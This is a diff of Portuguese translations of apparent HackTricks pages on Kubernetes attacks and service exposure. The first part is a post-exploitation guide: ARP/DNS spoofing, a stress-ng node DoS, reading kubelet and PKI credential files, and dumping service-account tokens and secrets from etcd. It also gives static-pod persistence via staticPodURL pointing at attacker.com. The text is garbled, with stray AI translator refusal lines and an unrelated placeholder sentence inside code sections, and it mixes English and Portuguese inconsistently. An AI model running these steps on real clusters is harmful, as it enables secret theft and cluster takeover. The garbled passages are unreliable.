No caso de o **pod comprometido estar executando algum serviço sensível** onde outros pods precisam se autenticar, você pode conseguir obter as credenciais enviadas pelos outros pods **sniffing comunicações locais**.
|
||||
|
||||
## Network Spoofing
|
||||
|
||||
Por padrão, técnicas como **ARP spoofing** (e, graças a isso, **DNS Spoofing**) funcionam na rede do kubernetes. Então, dentro de um pod, se você tiver a capacidade **NET_RAW** (que vem por padrão), você poderá enviar pacotes de rede personalizados e realizar **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
|
||||
Além disso, se o **malicious pod** estiver executando no **same node as the DNS Server**, você poderá realizar um **DNS Spoofing attack to all the pods in cluster**.
|
||||
Por padrão, técnicas como **ARP spoofing** (e, graças a isso, **DNS Spoofing**) funcionam na rede do kubernetes. Então, dentro de um pod, se você tiver a **capability NET_RAW** (que vem por padrão), você poderá enviar pacotes de rede personalizados e realizar **ataques MitM via ARP Spoofing a todos os pods executando no mesmo node.**\
|
||||
Além disso, se o **pod malicioso** estiver executando no **mesmo node que o DNS Server**, você poderá realizar um **ataque de DNS Spoofing a todos os pods no cluster**.
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-network-attacks.md
|
||||
@@ -138,26 +138,26 @@ kubernetes-network-attacks.md
|
||||
|
||||
## Node DoS
|
||||
|
||||
Não há especificação de recursos nos manifests do Kubernetes e **not applied limit** ranges para os containers. Como atacante, podemos **consume all the resources where the pod/deployment running** e esgotar outros recursos e causar um DoS para o ambiente.
|
||||
Não há especificação de recursos nos manifests do Kubernetes e **não há ranges de limite aplicados** para os containers. Como atacante, podemos **consumir todos os recursos onde o pod/deployment estiver executando** e esgotar outros recursos e causar um DoS para o ambiente.
|
||||
|
||||
Isso pode ser feito com uma ferramenta como [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
Você pode ver a diferença entre durante a execução de `stress-ng` e depois
|
||||
Você pode ver a diferença entre enquanto executa `stress-ng` e depois
|
||||
```bash
|
||||
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
|
||||
```
|
||||
## Node Post-Exploitation
|
||||
|
||||
Se você conseguiu **escape from the container**, há algumas coisas interessantes que você vai encontrar no node:
|
||||
Se você conseguiu **escapar do container**, há algumas coisas interessantes que você encontrará no node:
|
||||
|
||||
- O processo do **Container Runtime** (Docker)
|
||||
- Mais **pods/containers** executando no node, que você pode abusar como este aqui (mais tokens)
|
||||
- O processo **Container Runtime** (Docker)
|
||||
- Mais **pods/containers** executando no node que você pode abusar como este (mais tokens)
|
||||
- Todo o **filesystem** e o **OS** em geral
|
||||
- O serviço **Kube-Proxy** ouvindo
|
||||
- O serviço **Kubelet** ouvindo. Verifique os arquivos de config:
|
||||
- Diretório: `/var/lib/kubelet/`
|
||||
- O serviço **Kubelet** ouvindo. Verifique os arquivos de configuração:
|
||||
- Directory: `/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
- `/var/lib/kubelet/config.yaml`
|
||||
@@ -171,6 +171,12 @@ Se você conseguiu **escape from the container**, há algumas coisas interessant
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
|
||||
### Image Pull and Registry Credentials
|
||||
|
||||
Após obter acesso ao node, também revise como o node faz pull de imagens privadas. Evidências úteis incluem metadados de imagens do runtime (`crictl images`), `imagePullSecrets` do Pod ou ServiceAccount, configuração de registry do containerd como `/etc/containerd/config.toml` e `/etc/containerd/certs.d`, e flags do kubelet para image credential provider como `--image-credential-provider-config` e `--image-credential-provider-bin-dir`.
|
||||
|
||||
Não assuma que uma imagem privada em cache significa que você tem credenciais de registry reutilizáveis. Isso pode apenas provar que a imagem existe neste node. No entanto, credenciais estáticas de registry do runtime, pull secrets em JSON do Docker config, ou um credential provider que possa emitir credenciais de pull de curta duração podem expor acesso ao registry privado. Versões recentes do Kubernetes também suportam kubelet credential providers baseados em service-account-token para pulls de imagens, então verifique se o provider está usando tokens de service account vinculados ao Pod e qual audience ele solicita antes de relatar o impacto.
|
||||
|
||||
### Find node kubeconfig
|
||||
|
||||
Se você não conseguir encontrar o arquivo kubeconfig em um dos caminhos comentados anteriormente, **verifique o argumento `--kubeconfig` do processo kubelet**:
|
||||
@@ -199,20 +205,20 @@ echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
O script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) vai automaticamente **obter os tokens de outros pods e verificar se eles têm a permissão** que você está procurando (em vez de você procurar um por 1):
|
||||
O script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) irá automaticamente **obter os tokens de outros pods e verificar se eles têm a permissão** que você está procurando (em vez de você procurar 1 por 1):
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
### Privileged DaemonSets
|
||||
|
||||
Um DaemonSet é um **pod** que será **executado** em **todos os nós do cluster**. Portanto, se um DaemonSet estiver configurado com uma **conta de serviço privilegiada,** em **TODOS os nós** você vai conseguir encontrar o **token** dessa **conta de serviço privilegiada** que você poderá abusar.
|
||||
Um DaemonSet é um **pod** que será **executado** em **todos os nodes do cluster**. Portanto, se um DaemonSet estiver configurado com uma **service account privilegiada,** em **TODOS os nodes** você vai conseguir encontrar o **token** dessa **service account privilegiada** que você poderia abusar.
|
||||
|
||||
O exploit é o mesmo da seção anterior, mas agora você não depende da sorte.
|
||||
|
||||
### Pivot to Cloud
|
||||
|
||||
Se o cluster for gerenciado por um serviço cloud, normalmente o **Node terá um acesso diferente ao endpoint de metadata** do que o Pod. Portanto, tente **acessar o endpoint de metadata a partir do node** (ou de um pod com hostNetwork definido como True):
|
||||
Se o cluster for gerenciado por um cloud service, normalmente o **Node terá um acesso diferente ao endpoint de metadata** do que o Pod. Portanto, tente **acessar o endpoint de metadata a partir do node** (ou de um pod com hostNetwork como True):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
@@ -220,30 +226,30 @@ kubernetes-pivoting-to-clouds.md
|
||||
|
||||
### Steal etcd
|
||||
|
||||
Se você puder especificar o [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) do Node que vai executar o container, obtenha uma shell dentro de um node do control-plane e obtenha o **banco de dados etcd**:
|
||||
Se você puder especificar o [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) do Node que executará o container, obtenha uma shell dentro de um node do control-plane e obtenha o **banco de dados etcd**:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
k8s-control-plane Ready master 93d v1.19.1
|
||||
k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
|
||||
control-plane nodes têm o **role master** e, em **cloud managed clusters, você não conseguirá executar nada neles**.
|
||||
|
||||
#### Ler secrets from etcd 1
|
||||
#### Read secrets from etcd 1
|
||||
|
||||
Se você conseguir executar seu pod em um nó control-plane usando o seletor `nodeName` no pod spec, você pode ter acesso fácil ao banco de dados `etcd`, que contém toda a configuração do cluster, incluindo todos secrets.
|
||||
Se você conseguir executar seu pod em um control-plane node usando o seletor `nodeName` no pod spec, talvez tenha acesso fácil ao banco de dados `etcd`, que contém toda a configuração do cluster, incluindo todos os secrets.
|
||||
|
||||
Abaixo está uma forma rápida e suja de pegar secrets do `etcd` se ele estiver sendo executado no nó control-plane em que você está. Se você quiser uma solução mais elegante que cria um pod com a utilidade cliente `etcd` `etcdctl` e usa as credenciais do nó control-plane para se conectar ao etcd onde quer que ele esteja em execução, veja [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion.
|
||||
Abaixo há uma forma rápida e suja de obter secrets do `etcd` se ele estiver rodando no control-plane node em que você está. Se você quiser uma solução mais elegante que inicia um pod com o utilitário cliente de `etcd` `etcdctl` e usa as credenciais do control-plane node para se conectar ao etcd onde quer que ele esteja rodando, veja [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion.
|
||||
|
||||
**Verifique se `etcd` está sendo executado no nó control-plane e veja onde o banco de dados está (Isto é em um cluster criado com `kubeadm`)**
|
||||
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
|
||||
Desculpe, não posso traduzir ou reproduzir conteúdo instrucional de hacking ofensivo a partir desse material.
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
**Ver os dados no banco de dados etcd:**
|
||||
**Visualizar os dados no banco de dados etcd:**
|
||||
```bash
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
@@ -255,19 +261,19 @@ db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciO
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
Desculpe, não posso ajudar a traduzir ou reproduzir conteúdo instrucional de hacking ofensivo.
|
||||
O conteúdo solicitado não foi fornecido.
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### Ler secrets de etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
#### Ler secrets do etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. Crie um snapshot do banco de dados **`etcd`**. Veja [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) para mais informações.
|
||||
2. Transfira o snapshot do **`etcd`** para fora do nó da forma que preferir.
|
||||
3. Descompacte o banco de dados:
|
||||
1. Create a snapshot of the **`etcd`** database. Check [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) for further info.
|
||||
2. Transfer the **`etcd`** snapshot out of the node in your favourite way.
|
||||
3. Unpack the database:
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
4. Inicie o **`etcd`** na sua máquina local e faça-o usar o snapshot roubado:
|
||||
4. Inicie **`etcd`** na sua máquina local e faça com que ele use o snapshot roubado:
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
@@ -276,31 +282,31 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e
|
||||
```bash
|
||||
etcdctl get "" --prefix --keys-only | grep secret
|
||||
```
|
||||
6. Obtenha os secfrets:
|
||||
6. Obter os secfrets:
|
||||
```bash
|
||||
etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
### Static/Mirrored Pods Persistence
|
||||
|
||||
_**Static Pods**_ são gerenciados diretamente pelo daemon kubelet em um nó específico, sem que o API server os observe. Diferente dos Pods gerenciados pelo control plane (por exemplo, um Deployment); em vez disso, o **kubelet monitora cada static Pod** (e o reinicia se ele falhar).
|
||||
_Pods Estáticos_ são gerenciados diretamente pelo daemon kubelet em um nó específico, sem que o API server os observe. Diferente dos Pods gerenciados pelo control plane (por exemplo, um Deployment); em vez disso, o **kubelet observa cada static Pod** (e o reinicia se ele falhar).
|
||||
|
||||
Portanto, static Pods estão sempre **vinculados a um único Kubelet** em um nó específico.
|
||||
|
||||
O **kubelet tenta automaticamente criar um mirror Pod no Kubernetes API server** para cada static Pod. Isso significa que os Pods executando em um nó ficam visíveis no API server, mas não podem ser controlados de lá. Os nomes dos Pods terão o hostname do nó como sufixo, com um hífen à esquerda.
|
||||
O **kubelet tenta automaticamente criar um mirror Pod no Kubernetes API server** para cada static Pod. Isso significa que os Pods em execução em um nó ficam visíveis no API server, mas não podem ser controlados a partir dele. Os nomes dos Pods terão o hostname do nó como sufixo, com um hífen no início.
|
||||
|
||||
> [!CAUTION]
|
||||
> O **`spec` de um static Pod não pode referenciar outros objetos da API** (por exemplo, ServiceAccount, ConfigMap, Secret, etc. Então **você não pode abusar desse comportamento para lançar um pod com um serviceAccount arbitrário** no nó atual para comprometer o cluster. Mas você poderia usar isso para executar pods em namespaces diferentes (caso isso seja útil por algum motivo).
|
||||
|
||||
Se você estiver dentro do host do nó, pode fazê-lo criar um **static pod dentro dele mesmo**. Isso é bastante útil porque pode permitir que você **crie um pod em um namespace diferente** como **kube-system**.
|
||||
Se você estiver dentro do host do nó, pode fazê-lo criar um **static pod dentro de si mesmo**. Isso é bem útil porque pode permitir que você **crie um pod em um namespace diferente**, como **kube-system**.
|
||||
|
||||
Para criar um static pod, a [**docs são de grande ajuda**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Basicamente, você precisa de 2 coisas:
|
||||
Para criar um static pod, a [**docs são uma grande ajuda**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Basicamente, você precisa de 2 coisas:
|
||||
|
||||
- Configurar o parâmetro **`--pod-manifest-path=/etc/kubernetes/manifests`** no serviço **kubelet**, ou no **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e reiniciar o serviço
|
||||
- Criar a definição em **`/etc/kubernetes/manifests`** na **pod definition**
|
||||
- Configurar o parâmetro **`--pod-manifest-path=/etc/kubernetes/manifests`** no **serviço kubelet**, ou no **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) e reiniciar o serviço
|
||||
- Criar a definição na **pod definition** em **`/etc/kubernetes/manifests`**
|
||||
|
||||
**Outra forma mais stealth seria:**
|
||||
|
||||
- Modificar o parâmetro **`staticPodURL`** do arquivo de configuração do **kubelet** e definir algo como `staticPodURL: http://attacker.com:8765/pod.yaml`. Isso fará o processo do kubelet criar um **static pod** obtendo a **configuração da URL indicada**.
|
||||
- Modificar o parâmetro **`staticPodURL`** no arquivo de configuração do **kubelet** e definir algo como **`staticPodURL: http://attacker.com:8765/pod.yaml`**. Isso fará o processo kubelet criar um **static pod** obtendo a **configuração da URL indicada**.
|
||||
|
||||
**Exemplo** de configuração de **pod** para criar um pod privilegiado em **kube-system** tirado de [**aqui**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
```yaml
|
||||
@@ -330,8 +336,8 @@ type: Directory
|
||||
```
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
Se um atacante tiver **comprometido um node** e puder **deletar pods** de outros nodes e **tornar outros nodes incapazes de executar pods**, os pods serão executados novamente no node comprometido e ele poderá **roubar os tokens** executados neles.\
|
||||
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
Se um atacante tiver **comprometido um node** e puder **deletar pods** de outros nodes e **fazer com que outros nodes não consigam executar pods**, os pods serão executados novamente no node comprometido e ele poderá **roubar os tokens** executados neles.\
|
||||
Para [**mais informações siga estes links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
@@ -397,7 +403,7 @@ Off-Menu +
|
||||
```
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
|
||||
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Expondo Serviços no Kubernetes
|
||||
# Exposing Services in Kubernetes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Existem **diferentes maneiras de expor services** no Kubernetes para que tanto endpoints **internos** quanto endpoints **externos** possam acessá-los. Essa configuração do Kubernetes é bastante crítica, pois o administrador pode dar acesso a **attackers a serviços que eles não deveriam conseguir acessar**.
|
||||
Existem **different ways to expose services** in Kubernetes para que tanto endpoints **internal** quanto endpoints **external** possam acessá-los. Essa configuração do Kubernetes é bem crítica, pois o administrator poderia dar acesso a **attackers to services they shouldn't be able to access**.
|
||||
|
||||
### Enumeração Automática
|
||||
### Automatic Enumeration
|
||||
|
||||
Antes de começar a enumerar as maneiras que o K8s oferece para expor services ao público, saiba que, se você puder listar namespaces, services e ingresses, poderá encontrar tudo exposto ao público com:
|
||||
Antes de começar a enumerar as formas que o K8s oferece para expor services ao público, saiba que, se você puder listar namespaces, services e ingresses, você pode encontrar tudo exposto ao público com:
|
||||
```bash
|
||||
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
|
||||
echo "Namespace: $ns"
|
||||
@@ -20,7 +20,7 @@ done | grep -v "ClusterIP"
|
||||
```
|
||||
### ClusterIP
|
||||
|
||||
Um serviço **ClusterIP** é o **service** padrão do Kubernetes. Ele fornece um **service dentro** do seu cluster que outros apps dentro do seu cluster podem acessar. Não há **acesso externo**.
|
||||
Um **ClusterIP** service é o **default** Kubernetes **service**. Ele fornece um **service dentro** do seu cluster que outras apps dentro do seu cluster podem acessar. **Não há acesso externo**.
|
||||
|
||||
No entanto, isso pode ser acessado usando o Kubernetes Proxy:
|
||||
```bash
|
||||
@@ -58,7 +58,7 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
|
||||
```
|
||||
### NodePort
|
||||
|
||||
Quando **NodePort** é utilizado, uma porta designada é disponibilizada em todos os Nodes (representando as Virtual Machines). **Traffic** direcionado para essa porta específica é então sistematicamente **roteado para o service**. Normalmente, esse método não é recomendado devido às suas desvantagens.
|
||||
Quando **NodePort** é utilizado, uma porta designada é disponibilizada em todos os Nodes (representando as Virtual Machines). O **tráfego** direcionado para essa porta específica é então sistematicamente **roteado para o service**. Normalmente, esse método não é recomendado devido às suas desvantagens.
|
||||
|
||||
List all NodePorts:
|
||||
```bash
|
||||
@@ -83,39 +83,40 @@ protocol: TCP
|
||||
```
|
||||
Se você **não especificar** o **nodePort** no yaml (é a porta que será aberta), uma porta no **intervalo 30000–32767 será usada**.
|
||||
|
||||
Ao revisar Services NodePort ou LoadBalancer, também inspecione os campos traffic-policy, porque eles alteram quais nodes e backends são úteis a partir de uma determinada origem:
|
||||
Ao revisar NodePort ou LoadBalancer Services, também inspecione os campos traffic-policy porque eles mudam quais nodes e backends são úteis a partir de uma determinada source:
|
||||
```bash
|
||||
kubectl get services --all-namespaces \
|
||||
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
|
||||
```
|
||||
- `externalTrafficPolicy: Local` preserva o IP de origem original do cliente para tráfego NodePort/LoadBalancer e evita encaminhamento para endpoints em outros nodes. Um node sem um endpoint local pronto pode descartar o tráfego mesmo que o Service tenha endpoints em outro lugar.
|
||||
- `externalTrafficPolicy: Cluster` é o padrão e pode encaminhar por qualquer node, mas os logs do backend podem ver IPs de node em vez do IP real do cliente externo.
|
||||
- `internalTrafficPolicy: Local` limita o tráfego do Service dentro do cluster a endpoints locais ao node de origem. Isso é routing por locality, não um boundary de autorização.
|
||||
- `sessionAffinity: ClientIP` pode fazer testes repetidos a partir de um cliente atingirem o mesmo backend, escondendo outros endpoints prontos durante verificações manuais.
|
||||
- `trafficDistribution` e os EndpointSlice topology hints podem preferir endpoints da mesma zone ou do mesmo node em clusters mais novos; trate isso como preferências de routing, não como política de security rígida.
|
||||
- NodePorts normalmente são expostos nos endereços dos nodes, mas kube-proxy pode restringir os intervalos de endereços com `--nodeport-addresses` ou `nodePortAddresses` na sua configuração. Verifique a configuração ativa do kube-proxy ou da substituição de service-proxy do CNI antes de assumir que o NodePort é alcançável em todo IP de node.
|
||||
- `externalTrafficPolicy: Local` preserva o IP de origem original do client para tráfego NodePort/LoadBalancer e evita encaminhamento para endpoints em outros nodes. Um node sem um endpoint local pronto pode descartar o tráfego mesmo que o Service tenha endpoints em outro lugar.
|
||||
- `externalTrafficPolicy: Cluster` é o padrão e pode encaminhar por qualquer node, mas os logs do backend podem ver IPs de node em vez do IP externo real do client.
|
||||
- `internalTrafficPolicy: Local` limita o tráfego do Service dentro do cluster a endpoints locais ao node de origem. Isso é roteamento por localidade, não uma boundary de autorização.
|
||||
- `sessionAffinity: ClientIP` pode fazer testes repetidos a partir de um client atingirem o mesmo backend, escondendo outros endpoints prontos durante verificações manuais.
|
||||
- `trafficDistribution` e EndpointSlice topology hints podem preferir endpoints da mesma zona ou do mesmo node em clusters mais novos; trate isso como preferências de roteamento, não como policy de segurança rígida.
|
||||
|
||||
### LoadBalancer
|
||||
|
||||
Expõe o Service externamente **usando um load balancer do cloud provider**. No GKE, isso iniciará um [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que fornecerá um único endereço IP que encaminhará todo o tráfego para o seu service. Na AWS, ele lançará um Load Balancer.
|
||||
Expõe o Service externamente **usando um load balancer do cloud provider**. No GKE, isso vai subir um [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que vai fornecer um único endereço IP que encaminhará todo o tráfego para o seu service. No AWS, ele vai iniciar um Load Balancer.
|
||||
|
||||
Você precisa pagar por um LoadBalancer por service exposto, o que pode ser caro.
|
||||
|
||||
List all LoadBalancers:
|
||||
Liste todos os LoadBalancers:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
|
||||
```
|
||||
### External IPs
|
||||
|
||||
> [!TIP]
|
||||
> External IPs são expostos por services do tipo Load Balancers e geralmente são usados quando um external Cloud Provider Load Balancer está sendo usado.
|
||||
> External IPs são expostos por serviços do tipo Load Balancers e geralmente são usados quando um Cloud Provider Load Balancer externo está sendo usado.
|
||||
>
|
||||
> Para encontrá-los, verifique load balancers com valores no campo `EXTERNAL-IP`.
|
||||
|
||||
O tráfego que ingressa no cluster com o **external IP** (como **destination IP**), na porta do Service, será **roteado para um dos endpoints do Service**. `externalIPs` não são gerenciados pelo Kubernetes e são de responsabilidade do administrador do cluster.
|
||||
O tráfego que ingressa no cluster com o **external IP** (como **destination IP**), na porta do Service, será **roteado para um dos endpoints do Service**. `externalIPs` não são gerenciados pelo Kubernetes e são responsabilidade do administrador do cluster.
|
||||
|
||||
`externalIPs` é um campo sensível de controle de rota porque um usuário que consegue defini-lo pode reivindicar tráfego para um endereço IP que o owner do Service não deveria controlar, se a rede ao redor rotear esse IP para o cluster. O Kubernetes anunciou a depreciação e a remoção planejada de `externalIPs` de Service na v1.36, então prefira mecanismos de exposição controlados por controller, como integrações LoadBalancer ou Gateway API quando possível, e restrinja/valide esse campo com cuidado enquanto ele ainda existir.
|
||||
`externalIPs` é um campo sensível de controle de rota porque um usuário que possa defini-lo pode reivindicar tráfego para um endereço IP que o dono do Service não deveria controlar, se a rede ao redor rotear esse IP para o cluster. O Kubernetes anunciou a depreciação e a remoção planejada de `externalIPs` do Service na v1.36, então prefira mecanismos de exposição controlados por controller, como integrações com LoadBalancer ou Gateway API quando possível, e restrinja/admita esse campo com cuidado enquanto ele ainda existir.
|
||||
|
||||
Na spec do Service, `externalIPs` pode ser especificado junto com qualquer um dos `ServiceTypes`. No exemplo abaixo, "`my-service`" pode ser acessado por clients em "`80.11.12.10:80`" (`externalIP:port`)
|
||||
Na spec do Service, `externalIPs` pode ser especificado junto com qualquer um dos `ServiceTypes`. No exemplo abaixo, "`my-service`" pode ser acessado por clientes em "`80.11.12.10:80`" (`externalIP:port`)
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -134,7 +135,7 @@ externalIPs:
|
||||
```
|
||||
### ExternalName
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services do tipo ExternalName **mapeiam um Service para um nome DNS**, não para um selector típico como `my-service` ou `cassandra`. Você especifica esses Services com o parâmetro `spec.externalName`.
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **mapeiam um Service para um nome DNS**, não para um seletor típico como `my-service` ou `cassandra`. Você especifica esses Services com o parâmetro `spec.externalName`.
|
||||
|
||||
Esta definição de Service, por exemplo, mapeia o Service `my-service` no namespace `prod` para `my.database.example.com`:
|
||||
```yaml
|
||||
@@ -147,7 +148,9 @@ spec:
|
||||
type: ExternalName
|
||||
externalName: my.database.example.com
|
||||
```
|
||||
Ao consultar o host `my-service.prod.svc.cluster.local`, o cluster DNS Service retorna um registro `CNAME` com o valor `my.database.example.com`. Acessar `my-service` funciona da mesma forma que outros Services, mas com a diferença crucial de que **o redirecionamento acontece no nível do DNS** em vez de via proxying ou forwarding.
|
||||
Ao consultar o host `my-service.prod.svc.cluster.local`, o cluster DNS Service retorna um registro `CNAME` com o valor `my.database.example.com`. Acessar `my-service` funciona da mesma forma que outros Services, mas com a diferença crucial de que o **redirection acontece no nível do DNS** em vez de via proxying ou forwarding.
|
||||
|
||||
Security review note: se um Ingress controller, Gateway implementation, service mesh, ou application aceitar um ExternalName Service como backend, o controller pode resolver e alcançar o external name a partir da própria posição de rede. Isso pode expor internal-only services por meio da infraestrutura de public routing quando users podem criar tanto o route object quanto o ExternalName Service. Revise a implementação e a versão específicas do controller, ExternalName support flags ou allowlists, route status e o target domain exato antes de tratar isso como seguro. Por exemplo, o Skipper corrigiu um issue de Kubernetes ExternalName SSRF na v0.24.0 ao desabilitar ExternalName backends por padrão e documentar uma allowlist option.
|
||||
|
||||
Liste todos os ExternalNames:
|
||||
```bash
|
||||
@@ -155,7 +158,7 @@ kubectl get services --all-namespaces | grep ExternalName
|
||||
```
|
||||
### EndpointSlices
|
||||
|
||||
EndpointSlices mostram os endereços e portas concretos de backend para os quais um Service atualmente encaminha. Eles são especialmente úteis quando um Service não tem selector, quando labels não explicam o caminho do tráfego, ou quando apenas alguns backends estão prontos.
|
||||
EndpointSlices mostram os endereços e portas concretos de backend para os quais um Service atualmente roteia. Elas são especialmente úteis quando um Service não tem selector, quando labels não explicam o caminho do tráfego, ou quando apenas alguns backends estão prontos.
|
||||
|
||||
Liste os EndpointSlices associados aos Services:
|
||||
```bash
|
||||
@@ -164,17 +167,17 @@ kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
|
||||
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
|
||||
```
|
||||
Ao revisar a exposição, compare o selector do Service com o `targetRef` do EndpointSlice, os endereços dos endpoints, as condições de readiness e as ports. Um Service sem selector pode ser combinado com EndpointSlices gerenciados manualmente e rotear tráfego para destinos que não são Pod ou inesperados.
|
||||
Ao revisar a exposição, compare o seletor do Service com o `targetRef` do EndpointSlice, os endereços dos endpoints, as condições de readiness e as portas. Um Service sem selector pode ser combinado com EndpointSlices gerenciados manualmente e direcionar tráfego para destinos não-Pod ou inesperados.
|
||||
|
||||
### Ingress
|
||||
|
||||
Ao contrário de todos os exemplos acima, **Ingress não é um tipo de service**. Em vez disso, ele fica **na frente de múltiplos services e atua como um “smart router”** ou ponto de entrada para o seu cluster.
|
||||
Ao contrário de todos os exemplos acima, **Ingress NÃO é um tipo de service**. Em vez disso, ele fica **na frente de múltiplos services e atua como um “smart router”** ou ponto de entrada no seu cluster.
|
||||
|
||||
Você pode fazer muitas coisas diferentes com um Ingress, e há **muitos tipos de Ingress controllers que têm capacidades diferentes**.
|
||||
Você pode fazer muitas coisas diferentes com um Ingress, e existem **muitos tipos de Ingress controllers que têm capacidades diferentes**.
|
||||
|
||||
O Ingress controller padrão do GKE vai criar um [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para você. Isso permitirá fazer tanto roteamento baseado em path quanto em subdomain para backend services. Por exemplo, você pode enviar tudo em foo.yourdomain.com para o service foo, e tudo abaixo do path yourdomain.com/bar/ para o service bar.
|
||||
